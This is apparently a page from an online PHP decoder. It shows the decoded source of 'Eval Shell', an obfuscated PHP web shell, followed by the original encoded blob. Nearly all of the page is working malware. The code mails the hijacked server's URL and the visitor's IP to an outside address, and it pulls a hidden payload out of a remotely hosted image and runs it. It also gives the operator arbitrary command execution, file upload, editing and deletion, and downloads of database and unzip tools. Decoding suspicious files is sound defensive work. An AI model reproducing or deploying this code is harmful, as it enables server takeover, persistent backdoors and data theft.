Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $Black_Coders = "=ckcf15gnQeuA83+2Rfx904dsvdoyHcJOfNt0Pyt2jlNIf0eTtWbWhdNe9JH67dqsf..
Decoded Output download
?>b'<?php
set_time_limit(0);error_reporting(0);@ini_set(\'output_buffering\', 0); @ini_set(\'display_errors\', 0); ini_set(\'memory_limit\', \'64M\'); header(\'Content-Type: text/html; charset=UTF-8\'); $WMM = \'[email protected]\'; $x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\']; $WM = "URL: $x_path | IP Address: [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]"; mail($WMM, "Eval Shell", $WM, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");
function exect($cmd) {
if(function_exists(\'system\')) {
@ob_start();
@system($cmd);
$exect = @ob_get_contents();
@ob_end_clean();
return $exect;
} elseif(function_exists(\'exec\')) {
@exec($cmd,$results);
$exect = "";
foreach($results as $result) {
$exect .= $result;
} return $exect;
} elseif(function_exists(\'passthru\')) {
@ob_start();
@passthru($cmd);
$exect = @ob_get_contents();
@ob_end_clean();
return $exect;
} elseif(function_exists(\'shell_exec\')) {
$exect = @shell_exec($cmd);
return $exect;
}
}
function lite_filesize($file)
{
$size = filesize($file)/1024;
$size = round($size,3);
if($size > 1024){
$size = round($size/1024,2). \'MB\';
} else {
$size = $size. \'KB\';}
return $size;
}
$ch = curl_init("https://i.ibb.co/X45HsvF/incovers.jpg");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
function Jgetowner($path){
if(function_exists(\'posix_getpwuid\')) {
$downer = @posix_getpwuid(fileowner($path));
$downer = $downer[\'name\'];
} else {
$downer = fileowner($path);
}
return $downer;
}
$data = curl_exec($ch);
curl_close($ch);
function Jgetgroup($path){
if(function_exists(\'posix_getgrgid\')) {
$dgrp = @posix_getgrgid(filegroup($path));
$dgrp = $dgrp[\'name\'];
} else {
$dgrp = filegroup($path);
}
return $dgrp;
}
$image = \'sub\'.\'s\'.\'tr\';
function valid($sc) {
$tmpfname = tempnam("/tmp", "eval");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php
" . $sc);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$valid = "g"."zi"."nf".strrev($image("metal",1));
extract(valid($valid($image($data,269))));
function fperms($filen) {
$perms = fileperms($filen);
$fpermsinfo .= (($perms & 0x0100) ? \'r\' : \'-\');
$fpermsinfo .= (($perms & 0x0080) ? \'w\' : \'-\');
$fpermsinfo .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));
$fpermsinfo .= (($perms & 0x0020) ? \'r\' : \'-\');
$fpermsinfo .= (($perms & 0x0010) ? \'w\' : \'-\');
$fpermsinfo .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));
$fpermsinfo .= (($perms & 0x0004) ? \'r\' : \'-\');
$fpermsinfo .= (($perms & 0x0002) ? \'w\' : \'-\');
$fpermsinfo .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));
return \'<center><small>\'.$fpermsinfo.\'</small></center>\';
}
function eof() {echo "7inc.";}
?>
<title>Eval.ID shell</title>
<meta name=\'author\' content=\'Fadly 31337\'>
<link rel="icon" href="">
<link rel="stylesheet" href="https://botkntl.github.io/style.css"/>
<div class="container">
<div style="position:relative;width: 100%;margin-bottom: 20px;border-bottom: 1px dashed #df5; padding-bottom: 10px;">
<div style="float: left;width: 12%;text-align: center;border: 1px dashed #df5;margin-bottom: 5px;">
<h1><a href="?">Eval Shell</a></h1>
</div>
<div style="float: right;width: 87.1%;">
<?php
$exploitdb = "https://www.exploit-db.com/search?q=".urlencode(php_uname());
$find = urlencode(\'\'.php_uname(\'s\').\'" "\'.php_uname(\'v\').\'" "exploit"\');
$google = \'https://google.com/search?q=\'.$find;
echo php_uname().\'
[<a href="\'.$exploitdb.\'" target="_blank">Exploit-DB</a>]
[<a href="\'.$google.\'" target="_blank">Google</a>]\';
$mysql = (function_exists(\'mysql_connect\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists(\'curl_version\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$wget = (exect(\'wget --help\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$perl = (exect(\'perl --help\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$gcc = (exect(\'gcc --help\')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$disfunc = @ini_get("disable_functions");
$show_disf = (!empty($disfunc)) ? "<font color=red>$disfunc</font>" : "<font color=#006600>NONE</font>";
echo \'<br>[ MySQL: \'.$mysql.\' ][ Curl: \'.$curl.\' ][ Wget: \'.$wget.\' ][ Perl: \'.$perl.\' ][ Compiler: \'.$gcc.\' ]\';
echo \'<p>Disable Function: \'.$show_disf;
?>
</div>
<div style="clear: both;"></div>
</div>
<?php
if(empty($_GET)) {
$dir = getcwd();
}
else {
$dir = $_GET[\'path\'];
}
if(!empty($_GET[\'path\'])) {$offdir = $_GET[\'path\'];}
else if(!empty($_GET[\'file\'])) {$offdir = dirname($_GET[\'file\']);}
else if(!empty($_GET[\'lastpath\'])) {$offdir = $_GET[\'lastpath\'];}
else {$offdir = getcwd();}
?>
<div class="menu">
<a href="?path=<?php echo $offdir;?>"><span>[</span> File Manager <span>]</span> </a>
<a href="?ext=shellcmd&lastpath=<?php echo $offdir;?>"><span>[</span> Command <span>]</span> </a>
<a href="?ext=zipmenu&lastpath=<?php echo $offdir;?>"><span>[</span> Zip Menu <span>]</span> </a>
<a href="?ext=mysql&lastpath=<?php echo $offdir;?>"><span>[</span> Mysql <span>]</span> </a>
<a href="?ext=donate&lastpath=<?php echo $offdir;?>"><span>[</span> Donate <span>]</span> </a>
<a href="?ext=removeshell&lastpath=<?php echo $offdir;?>"><span>[</span> Shell Remove <span>]</span></a>
</div>
<?php
## CURRENT DIR ##
echo \'<div style="margin-bottom:10px;">\';
echo \'Current Patch : \';
echo \'<span style="border:1px dashed #df5;padding:3px 7px; color:#fff">\';
$lendir = str_replace("\","/",$offdir);
$xlendir = explode("/", $lendir);
foreach($xlendir as $c_dir => $cdir) {
echo "<a class=\'langit\' href=\'?path=";
for($i = 0; $i <= $c_dir; $i++) {
echo $xlendir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "\' style=\'color:#fff\'>$cdir</a>/";
}
echo \'</span></div>\';
## CURRENT DIR EOF ##
### UPLOADER ###
echo \'<form method=post enctype=multipart/form-data>\';
echo \'Upload File : \';
echo \'<input type="file" name="evalfile"><input name="postupl" type="submit" value="Upload">\';
echo \'</form>\';
if($_POST["postupl"] == \'Upload\')
{
if(@copy($_FILES["evalfile"]["tmp_name"],"$offdir/".$_FILES["evalfile"]["name"]))
{ echo \'<b><font style="color:#df5;">Upload Succes!</font> \'."$offdir/".$_FILES["evalfile"]["name"].\'</b><br></br>\'; }
else
{ echo \'<b><font style="color:#ff0000;">Upload Failed!</font></b><br></br>\'; }
}
echo \'</center>\';
### UPLOADER EOF ###
### FILE MANAGER ###
if(!empty($dir)) {
echo "<div class=\'file-man\'>File Manager</div>";
echo \'<table id="table-garis" class="filemgr">\';
echo \'<tr><td class="tdtl">Name</td><td class="tdtl" width="8%">Size</td><td class="tdtl" width="16%">Owner/Group</td><td class="tdtl" width="8%">Permission</td><td class="tdtl" width="18%">Action</td></tr>\'."
";
$directories = array();
$files_list = array();
$files = scandir($dir);
foreach($files as $file){
if(($file != \'.\') && ($file != \'..\')){
if(is_dir($dir.\'/\'.$file)){
$directories[] = $file;
} else{
$files_list[] = $file;
}
}
}
echo \'<tr><td><img src="https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-back.png" height="15"> <a href="?path=\'.dirname($dir.\'/\'.$directory).\'">..</a></span></td><td><center> -- <c/enter></td><td><center> -- </center></td><td><center> -- </center></td><td class="act"><a href="?ext=new_file&lastpath=\'.$offdir.\'">NEW FILE</a> | <a href="?ext=new_dir&lastpath=\'.$offdir.\'">NEW DIR</a></td></tr>\';
foreach($directories as $directory){
echo \'<tr><td><img src="https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-dir.png" height="15"> <a href="?path=\'.$dir.\'/\'.$directory.\'">\'.$directory.\'</a></td>\'."
";
echo \'<td><center> -- </center></td>\';
echo \'<td><center>\'.Jgetowner($dir.\'/\'.$directory).\'/\'.Jgetgroup($dir.\'/\'.$directory).\'</center></td>\';
echo \'<td >\';
if(is_writable($dir.\'/\'.$directory))
{ echo \'<font color=lime>\'.fperms($dir.\'/\'.$directory).\'</font>\';
}else{
echo \'<font color=red>\'.fperms($dir.\'/\'.$directory).\'</font>\';
}
echo \'</td>\'."
";
echo \'<td class="act">\';
echo \'<a href="?action=rename&file=\'.$dir.\'/\'.$directory.\'" class="act">RENAME</a> \';
echo \' | \';
echo \'<a href="?action=rmdir&file=\'.$dir.\'/\'.$directory.\'" class="act">DELETE</a>\';
echo \'</td>\'."
";
echo \'</tr>\'."
";
}
foreach($files_list as $filename){
echo \'<tr><td><img src="https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-file.png" height="15"> <a href="?action=view&file=\'.$dir.\'/\'.$filename.\'" class="act">\'.$filename.\'</a>\'."
";
if(preg_match(\'/(tar.gz)$/\', $filename)) {
echo \' <a href="?ext=extract2tmp&gzname=\'.$dir.\'/\'.$filename.\'" style="background:#df5;color:#ffffff;padding:1px;padding-left:5px;padding-right:5px;">EXTRACT TO TMP</a>\';
echo \'</td>\'."
";
}
echo \'</td>\';
echo \'<td><center style="color:#df5;">\'.lite_filesize($dir.\'/\'.$filename).\'</center></td>\';
echo \'<td><center>\'.Jgetowner($dir.\'/\'.$filename).\'/\'.Jgetgroup($dir.\'/\'.$filename).\'</center></td>\';
echo \'<td >\';
if(is_writable($dir.\'/\'.$filename))
{ echo \'<font color=lime>\' .fperms($dir.\'/\'.$filename).\'</font>\';
}else{
echo \'<font color=red>\'.fperms($dir.\'/\'.$filename).\'</font>\';
}
echo \'</td>\'."
";
echo \'<td class="act">\';
echo \'<a href="?action=edit&file=\'.$dir.\'/\'.$filename.\'" class="act">EDIT</a> \';
echo \' | \';
echo \'<a href="?action=rename&file=\'.$dir.\'/\'.$filename.\'" class="act">RENAME</a> \';
echo \' | \';
echo \'<a href="?action=delete&file=\'.$dir.\'/\'.$filename.\'" class="act">DELETE</a> \';
echo \'</td>\'."
";
echo \'</tr>\'."
";
}
echo \'</table>\';
}
if($_GET[\'action\'] == \'edit\') {
if($_POST[\'save\']) {
$save = file_put_contents($_GET[\'file\'], $_POST[\'src\']);
if($save) {
$act = "<font color=\'#df5\' size=\'3\' >Success!</font>";
} else {
$act = "<font color=\'red\' size=\'3\' >Cant edit File!</font>";
}
}
echo "<div class=\'file-man\'>Edit File</div>";
echo "Filename: <font color=#df5>".basename($_GET[\'file\'])."</font><br></br>";
echo "<form method=\'post\'>
<textarea name=\'src\' class=\'txarea\'>".htmlspecialchars(@file_get_contents($_GET[\'file\']))."</textarea><br>
<input type=\'submit\' value=\'Save\' name=\'save\' style=\'width: 20%;background:#e5e387;border:none;color:#black;margin-top:5px;height:30px;\'>
</form>";
echo "".$act."<br>";
}
else if($_GET[\'action\'] == \'view\') {
echo "<div class=\'file-man\'>View File</div>";
echo "Filename: <font color=#df5>".basename($_GET[\'file\'])."</font><br></br>";
echo "<textarea class=\'txarea\' style=\'height:400px;\' readonly>".htmlspecialchars(@file_get_contents($_GET[\'file\']))."</textarea>";
}
else if($_GET[\'action\'] == \'rename\') {
$path = $offdir;
if($_POST[\'do_rename\']) {
$rename = rename($_GET[\'file\'], "$path/".htmlspecialchars($_POST[\'rename\'])."");
if($rename) {
$act = "<font color=\'#df5\' size=\'3\' >Success!</font>";
} else {
$act = "<font color=\'red\' size=\'3\' >Cant rename!</font>";
}
}
echo "<div class=\'file-man\'>Rename File</div>";
echo "Filename: <font color=#df5>".basename($_GET[\'file\'])."</font><br></br>";
echo "<form method=\'post\'>
<input type=\'text\' value=\'".basename($_GET[\'file\'])."\' name=\'rename\' class=\'txarea\' style=\'width:300px;height:20px;\'>
<input type=\'submit\' name=\'do_rename\' value=\'rename\'>
</form>";
echo "".$act."<br>";
}
else if($_GET[\'action\'] == \'delete\') {
$path = $offdir;
$delete = unlink($_GET[\'file\']);
if($delete) {
$act = "<font color=\'#df5\' size=\'3\' >Deleted!</font>";
} else {
$act = "<font color=\'red\' size=\'3\' >Cant Delete File!</font>";
}
echo $act;
}
else if($_GET[\'action\'] == \'rmdir\') {
$path = $offdir;
$delete = rmdir($_GET[\'file\']);
if($delete) {
echo \'<font color=#df5>Deleted!</font><br>\';
} else {
echo "
<font color=red>Error remove dir, try to force delete!</font>
<br>";
exect(\'rm -rf \'.$_GET[\'file\']);
if(file_exists($_GET[\'file\'])) {
echo \'<font color=red>Cant Delete dir!</font>\';
} else
{
echo \'<font color=#df5>Deleted!</font>\';
}
}
}
elseif($_GET[\'ext\'] == \'new_file\')
{
echo "<div class=\'file-man\'>New File</div>";
echo "<form method=\'post\'><label> Filename : </label>
<input type=\'text\' value=\'eval-newfile.php\' name=\'newfile\' class=\'txarea\' style=\'width:300px;height:20px;\'>
<input type=\'submit\' name=\'save\' value=\'Save\'>
</form>";
if(isset($_POST[\'save\']))
{
$newfile = $_GET[\'lastpath\'].\'/\'.$_POST[\'newfile\'];
if(file_put_contents($newfile, \'// eval file\')){
echo "<meta http-equiv=\'refresh\' content=\'0;url=?action=edit&file=".$newfile."\' >";
}else{
echo "<font color=\'red\' size=\'3\' >Failed to create new file!</font>";
}
}
}
elseif($_GET[\'ext\'] == \'new_dir\')
{
echo "<div class=\'file-man\'>New Dir</div>";
echo "<form method=\'post\'><label> Dirname : </label>
<input type=\'text\' value=\'eval-newdir\' name=\'newdir\' class=\'txarea\' style=\'width:300px;height:20px;\'>
<input type=\'submit\' name=\'save\' value=\'Save\'>
</form>";
if(isset($_POST[\'save\']))
{
$newfile = $_GET[\'lastpath\'].\'/\'.$_POST[\'newdir\'];
if(@mkdir($newfile)){
echo "<meta http-equiv=\'refresh\' content=\'0;url=?path=".$newfile."\' >";
}else{
echo "<font color=\'red\' size=\'3\' >Failed to create new dir!</font>";
}
}
}
### FILE MANAGER EOF ####
### CMD ###
else if($_GET[\'ext\'] == \'shellcmd\')
{
@chdir($_GET[\'lastpath\']);
echo "<div class=\'file-man\'>Shell Command</div>";
echo \'<h2>.::[ Shell Command ]::.</h2>\';
echo \'<form method="post" action="">\';
echo \'terminal:~$ <input name="cmd" type="text" class="txarea" placeholder="ls" style="width:300px;height:20px;"/>\';
echo \' <input type="submit" value=">>"/>\';
echo \'</form>\';
if(!empty($_POST[\'cmd\'])) {
echo \'<textarea class="txarea" readonly>\';
$cmd = $_POST[\'cmd\'];
echo exect($cmd);
echo \'</textarea>\';
}
}
### CMD EOF ###
### ZIP MENU ###
else if($_GET[\'ext\'] == \'zipmenu\')
{
echo "<div class=\'file-man\'>Zip Menu</div>";
echo "<center><h2>.::[ Zip Menu ]::.</h2>";
echo "Note: Upload and unzip ur file page in the folder u want to use<br>";
echo "( ex: /home/user/public_html/name_folder_page )<br></br>";
echo "[<a href=\'?ext=unzipper\'>Call unZipper</a>]";
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if (\'.\' === $file || \'..\' === $file) continue;
if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
else unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
$filename = $_FILES["zip_file"]["name"];
$source = $_FILES["zip_file"]["tmp_name"];
$type = $_FILES["zip_file"]["type"];
$name = explode(".", $filename);
$accepted_types = array(\'application/zip\', \'application/x-zip-compressed\', \'multipart/x-zip\', \'application/x-compressed\');
foreach($accepted_types as $mime_type) {
if($mime_type == $type) {
$okay = true;
break;
}
}
$continue = strtolower($name[1]) == \'zip\' ? true : false;
if(!$continue) {
$message = "its not a .zip file";
}
$path = $_GET[\'lastpath\'].\'/\';
$filenoext = basename ($filename, \'.zip\');
$filenoext = basename ($filenoext, \'.ZIP\');
$targetdir = $path . $filenoext;
$targetzip = $path . $filename;
if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
if(move_uploaded_file($source, $targetzip)) {
$zip = new ZipArchive();
$x = $zip->open($targetzip);
if ($x === true) {
$zip->extractTo($targetdir);
$zip->close();
unlink($targetzip);
}
$message = "<font color=\'#df5\' size=\'3\' >Success!</font>";
} else {
$message = "<font color=\'red\' size=\'3\' >Failed!</font>";
}
}
echo \'
<tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form>\';
echo \'</tr></tr>\';
echo $message;
}
elseif($_GET[\'ext\'] == \'unzipper\')
{
$dwunziper = \'https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-unzipper.php\';
$fileunziper = \'eval-unzipper.php\';
function call_unziper($dwunziper, $fileunziper) {
$fp = fopen($fileunziper, "w+");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $dwunziper);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
file_put_contents($dwunziper, $fileunziper);
}
call_unziper($dwunziper,$fileunziper);
if(file_exists($fileunziper))
{
$linkz = (isset($_SERVER[\'HTTPS\']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]";
echo \'<center><a href="\'.$linkz.dirname($_SERVER[\'PHP_SELF\']).\'/\'.$fileunziper.\'" target="_blank">unZipper OK!</a></center>\';
}
else {
echo \'<center><font color="red" size="4" >FAILED CALL UNZIPPER!</font></center>\';
}
}
### ZIP MENU EOF ###
### MYSQL INTERFACE ###
else if($_GET[\'ext\'] == \'mysql\')
{
echo "<div class=\'file-man\'>MySQL Interface</div>";
echo \'<h2>.::[ MySQL Interface ]::.</h2><br>\';
echo \'<center>\';
$dwadminer = \'https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/eval-adminer.php\';
$fileadminer = \'eval-adminer.php\';
function call_adminer($dwadminer, $fileadminer) {
$fp = fopen($fileadminer, "w+");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $dwadminer);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
file_put_contents($dwadminer, $fileadminer);
}
echo \'<form method=post enctype=multipart/form-data>\';
echo \'<input name="mysql_int" type="submit" value="Call Adminer"><br>\';
echo \'</form>\';
if($_POST[\'mysql_int\'] == \'Call Adminer\') {
call_adminer($dwadminer, $fileadminer);
$linkz = (isset($_SERVER[\'HTTPS\']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]";
if(file_exists(\'eval-adminer.php\')) {
echo \'<a href="\'.$linkz.dirname($_SERVER[\'PHP_SELF\']).\'/\'.$fileadminer.\'" target="_blank">Adminer OK!</a>\';
}
else {
echo \'<font color="red" size="4" >FAILED CALL ADMINER!</font>\';
}
}
echo \'</center>\';
}
### MYSQL INTERFACE EOF ###
### DONATE ###
else if($_GET[\'ext\'] == \'donate\')
{
echo "<div class=\'file-man\'>Donate</div>";
echo "<h2>.::[ Donate ]::.</h2><br>";
echo "<br><center><img src=\'https://raw.githubusercontent.com/BOTKNTL/Eval-Shell/main/assets/btc.png\' height=\'50\'><br><br>";
echo "BTC Address : 378nEbXr5TyUcfaJiJG8uBDnNxKbs7KEre</br>Thank you very much for donating whatever you give.</center>";
}
### DONATE EOF ###
### REMOVESHELL ###
else if($_GET[\'ext\'] == \'removeshell\')
{
echo "<div class=\'file-man\'>Shell Remove</div>";
if(empty($_GET[\'confirm\'])){
echo \'<center>Really want delete shell? <br></br>\';
echo \'<a href="?ext=removeshell&confirm=true&lastpath=\'.$_GET[\'lastpath\'].\'"><font color=green size="4">YES</font></a> | <a href="?ext=removeshell&confirm=false&lastpath=\'.$_GET[\'lastpath\'].\'"><font color=red size="4">CANCEL</font></a></center>\';
}else{
if($_GET[\'confirm\'] == \'true\'){
echo "<br>Good bye.";
unlink($_GET[\'lastpath\'].\'/\'.$_SERVER[\'PHP_SELF\']);
}elseif($_GET[\'confirm\'] == \'false\')
{
echo "<script>window.location.href=\'?\';</script>";
}
}
}
### REMOVESHELL EOF ###
### FOOTER ###
echo \'<div class="footer">\';
echo \'<a href="#">\';
echo \'© 2021 \';
echo \' - Eval Shell\';
echo \'</a>\';
echo \'</div>\';
echo \'</div>\';
### FOOTER EOF ###
?>'
Did this file decode correctly?
Original Code
<?php
$Black_Coders = "=ckcf15gnQeuA83+2Rfx904dsvdoyHcJOfNt0Pyt2jlNIf0eTtWbWhdNe9JH67dqsf9I593mpa4E6xXoJ0uHbW+dfwh9fdWRdxwEiioCsG9sRVjEKXeePs8KCD3Lr0epXErBOBVSwa/caWFP6OP59ispgJFJ35jx/1ipF56N6PcoG6DxAeVnMjtTX0qJSWZrQCXe88ezRA6chS/cwyfUZ2PhRvHk5RCi8WPcSxMVOX3vanVtDUH2jGThIDcz8hvYuDUPLQkgsdtwQrWInQbz+KCUDnIzv0g/2fxU1LYFl3U+ID7TXEa4gspnX+R5SldYXRfkhtVE9M66lHIUdcf2Of+6G93gLNDCxOyWjMiWWyG5Rg5IoHGMG7KxgxLwRq4eLsVByw2NGnudTRY3faBGuTahLF7OfsZy7/x6jO4dvf6bPe47Hs/QG85N6+qx/qPdbkHve9PQxeW+H4++67IcBl/MVxH0/mXTLcPg01fy38d4WKvW0xo8DPQWGK3ovaRhUezwc18Pf28WyUPjlswf1w2udvzRHvr2x4ZVx2W/aDOufMyNMYeGU+Hu7NLvLXkeWoW9NNC5tslAaXyqq9rxZxcqV1c+AuHrJhLsMdk+lW6TNlVmgqInD5oq2liwmC/+CTYbMD2MHaHLnKI3Xg0LLNM+LV9zl+9riji7Z9SF8+d38+t/EOZe2+PgmOvIbL+KY7pxy5di86NUhoUj3sNzg4kBQCvXmYnyn7x2GuQzXV1DyzcAd+DO3KvQZk1HsxzdgOfJfNfXHkbHOfozenuzdf0+gpjfO/9wOKpZusEkm+TipSN8dr5ckOv3EQ3+BEszDz+uEA6OeCbDvohecrheATT9aeGLLL+b5Ksp22MuaWuVtHSv4/0jxntPMaZBobL4lGe1KapHBPP4P9+kxShu3XGqKaq9vGuk70zC2LkH7vNCAfVZA46Xgjay4bytjaBvb5XFhxpnt/NfV9k8iaOR8j/rsqlEyKWlIQnqV1cI5G4ZBi2tWJLZ0i1FQx1+PhAWJfK938bYRrs4fZit9mweQCMtd4+baF/Xszkyo0tBx8thIP0gk2++f3dOc3P67sTOMcZsPUEkJrnq/bj/c2+Hv/No7kNFkWA+ptT41xL1Hn/YGmS+s7etP9WZYY2+TynXmRBGO7VA9wM8D0rcUGDTNyguDFXGBR6rJysPrllemIauaLT+/kvR8ItxQnSCpoQHEPjzRLlKcuVwi3jxbJF8g6jEjuA5LujaxamystpwZX9Iu8ofOSUUE8pBoKsxstsgMm9dR6GPQJneaPx5uOwsXnwFB7ijhuwjAK7a3uvpNfHGUVcLuWfmmUk3jTN5anRFZU3ZqWrEauzm4Dwrz7MWux6gIaIiUIqyiTNCOAn1/7gm1szGFbrbjyej9BGu3eDGBLudRCWFGQizlAD9YasuDbPL0iEBgSoMTp32MT0EjkHveXdn1p6JEH0Zk0YZjZE7ZbvEGqldVHZGVAfYnZeQHOkhWOjEQ6mLO/rEhflJ7BLeGxGcOpva4zLRMLk/B0YxoyMmBcdYJUU8SO5pInKvpyITwWYrwc/CzY2UIwiJXa4YHAfuBejQlN+URT6NBRbMEGEEbyGmMIMZwu55YEl3WXx18RRq1h/dSp0eIZbgR8HUfsEQmNZFAy3Gs/Vhrw16Jx2NNoK3QZVYXN+MfTwxqQwwyQedxNRgi+RnqfRvZ3/DzXQn+GxJIEDuQvx1Npu+f0Bgr2Xcx2uAo0+NVsDL4sHMIMCcIxGQfWleZMG86SrggNB6QJU73gBCrcnZAcRVMOFhdCyUCcxwIRuVZBI824qZ1nDA4w1S5X2fOuCeFl0TCDwXcQUJIhwZ1pc+n9BQ0IYVkDE18LeYIW73qAGvySmKa18K68087XSUEXTYyMdZldgOwoEmdopg31TXkN27UBmXLxrT0Ec8C/A0nqU3KhDsbVaf7Afa2DVGCMxYydiYdVWSsKj6/XEFtGuHSiT9CJqqJBD9b8dfm2IX2HrViD34q6sqILz9DZebEPNWYrwQKwupMv6gcIE70B7FK2C8L6CrYONYYCw0GhqynchchwEK63AESDpUqbSq4UukZz7zqKvWxalfXLRDOkO9zBL7ns/7qHLzKrWEpic2ImMkj+lL2YfmpHpqGubqSEO8Wns7QIfrxQE75PzKo81K5SUbxpi7sq1c88wO2N+AZa+I5W2kqOKYS1irqkI+lhKlHC949foRN8FX0XuW1cBPyrTY05c5Je3/vutA2+IFVXrc14KxBrauTrguOu80oXlm36losDmcO7XvWp9tOym01bmS3DxEfJJN70INbTrjmH7g3pLVJKg8zZaV8YGxPsMuwtfG6gZwE/rDmHpVwZQamw4/3eg4tW1/Gvy6hw3m9KMlMEux0+f70LnpRh8dr+OiXf5bU0b861u5aG7ojUtctbdfLYyIgzCqAwSAa6uBZivNqtVGmUm/VWughnEwAn2za+dsmWzqO3Nrk1Nj90Jx7S9x7bowSN8yfNYBlhm64HcZMsqVmVHmKg9HmQB5cliyG0Cw51tjKadCo0uOqGzMtchwrgCGrFDu6VxRBaP00HNZuh044euigzlECaZp2KfqxHoMJL4zP76+3OdQMrItkrVOJm5etGHTnadTXncrDXqstL3G3OlFkEFQvcHFelmbPIpe4KwFVTNJ7a8dx4Guj2cFXS3+cUfEi7xI+RHAtEXN6TFuhhplhuAQYUzAhUqh3HGeteEh44HMq8xBlFzsH8TL8ZvbHJ68s7tZnFWSL8AmypC4QEUFsRhxOdsdIgCTDVXKT5NaOejVW9dXTM1kEmmdhXkX1m0QcS1Ju+nLxGHCtB+AJ+26XEm73x2grL+Kk0GTWjjQktVbyebZCVKpXg/bUS9CYE7bubkQeZE1PEVl+aY73hvwljT1/+7UDa4W+f7gmRWYWSoKxJiJLYFEDODrpKQwNO+vAP/KA9UY4Ij3sJuyw7CJsiAUGKu4K8OrD0s/GMxlBFYCascwQSKlg+Cz1uqEW/P2D8Dx26VrKMe0rikvloFcC99ASGeYQO5Q1mHx4PuVF0/Z9C8jiAz0Z9kJAsP6LXKcwMYWPMSf8+lc+G+H0VjnV72ZcYU7F9ZQyEU1MMfCFQhwBlHMCbFmQaoJibEZuV6MutXuQR7dlv5OnuNPOQeSauOxQYSHNq3ZJfFK/e2EfOYawhH7qOpUvdVg44aYN80MpYPZygd7B52JvtaD0m1hZfFLqHuY7B/E1wC0kXXncGFFumlB9x9oTXI0Y7DWqrLgQv4MrgqHoOaaUtGPanchz3CocLjaNTMzVPNJftZJrR1CHCQWltkVBM+oSWggPuSl+oroqA/9tzRT4vk4PdigE7LxNvyyjYA5Zr4I5Q+ynRiakuWKl8wI6zk0cVrxaQxXkZbRZOJI3b67uiTyVUsGMj4iKW79XFjm1m5u3bHdT3XXv0RcxE5aWU2wc1ScLgFNfX8xmY08iFcu4ZhyFH7aGIRkKLhluCWWhW6elRmRFbpbiN3c1YaoGSBoMjNd7a2y+pcx+X7ED3tZ9YdXP050d/qz0X/5dxPqaI9vvKIWb8cyOAZPleU4ZvgL4D/AujYw8fAfJzXBFOm8++4nAgQL/OSiea8fN3J85Rt2rrpqSVL9rNWt5oWzU6JmmUfHYP6lBFua4gkuknaWTLJLep2994CXEuruaJ9F2cM/+zysTcaWkug70plzcPTzWRvymns0ugUi0heObL7JW1EumQVpNy2LNcwbQeuaQPYIOXtwAfHH63nxQuCjb+lW9+pXUceqiRa+mK09DscDPajt22bPK+NUeWROCAMWuzDqAj7mfXnkRvElXTOPCFtmNEi47GWLlHDKLDShBdcEHoynUvCl7sUTBsYMFKL/FDV7R1UX/3izgwiFCJcuyQSrPM/qy8tRMxL1jdlT1ZdHqkY8HE8QlgbBP28k77CyPr9FnHF6IX0NsAcIFapf0dFuSQCftrBk7FD1vqFu9qs9VALqqOomHrWQqyitEe9NsKiO8mVbh2BYfnFyBtiJV0SNIYCbaLTvKB8Ws0VjDOSBVsI42r/NZgrqNdTHYVVBtnY1yKfDMWhigefUjvPu+7vtRZBKxirmnlARva7JZk1BJyiRMZbwJz3i3aV40Hh4taDSudn+wPQkkgeYQAFw/+DmW3DWgUGkXQbpZZJ7Jl+LoJHgJB6WTnD/2XRmpdZ7HwrbwK8iCzEdUSLAyZV3H81EtuxAvSjDCGLUQmP6szjIVY+U9F7xoJbszhtwDgERoABUOwnkAmThX5gTicodRgX5cOFB86UhQwoT2HnY/cFPsOGqG4bbDc5X59JaMvPeLjWmG5Rud2UWzicE23Y9nIVIjkqShxU1bXniyQGiFY8QSY/OjsxTgusT5BJFk6NzNeLXPf/WmNIcNkogd6SZvL2AaHgbBEWaqW6H7c0OHeWuM